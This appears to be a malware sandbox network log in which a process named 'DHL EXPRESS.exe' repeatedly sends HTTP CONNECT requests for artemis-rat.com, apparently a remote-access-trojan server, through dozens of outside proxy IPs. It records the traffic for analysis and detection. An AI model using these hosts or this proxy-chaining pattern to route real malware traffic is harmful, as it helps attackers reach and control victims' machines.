Mar 11, 2024 18:36:46.895497084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.8	51330	184.181.217.194	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.895499945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.8	51333	24.249.199.4	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.895944118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.8	51336	72.195.34.41	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.901493073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.8	51290	58.234.116.197	8197	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.912623882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.8	51288	43.155.165.196	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.916527987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.8	50832	174.77.111.197	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.932790995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.8	51334	163.172.171.22	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.933829069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.8	51289	60.188.102.225	18080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.934259892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.8	51361	172.67.36.21	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.935058117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.089405060 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.8	51306	186.124.164.213	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.935060978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.8	51299	185.49.31.207	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.935538054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.8	51354	5.78.65.91	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.935924053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.133352041 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.8	50824	38.56.23.33	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.944574118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.097076893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.123570919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.668325901 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.8	51314	193.106.57.96	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.953191042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.8	51337	51.158.64.130	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.954418898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.8	51302	45.11.95.166	6014	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.956098080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.706455946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.800398111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.845958948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.8	51358	23.95.209.142	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.962852955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.8	51338	198.44.255.3	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.020020008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.8	51382	104.20.89.77	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.020131111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.174356937 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.8	51327	58.20.248.139	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.020286083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.347675085 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.8	51309	91.202.230.219	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.020390987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.8	51298	43.133.136.208	8800	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.020869970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.8	51324	14.232.235.13	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.020870924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.357438087 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.8	50820	82.223.121.72	4985	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.021622896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.097173929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.123570919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.197597980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.206779003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.206362963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.206314087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:59.206312895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:47.206348896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.8	51403	104.27.66.31	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.021687984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.175719023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.8	51404	172.67.182.77	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.021810055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.175926924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.8	51367	162.253.68.97	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.021934986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.8	51419	104.18.136.28	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.022696018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.177571058 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.8	50779	103.84.177.28	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.023093939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.473014116 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.8	51373	3.21.101.158	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.023097992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.242046118 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.8	51371	20.127.163.26	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.023204088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
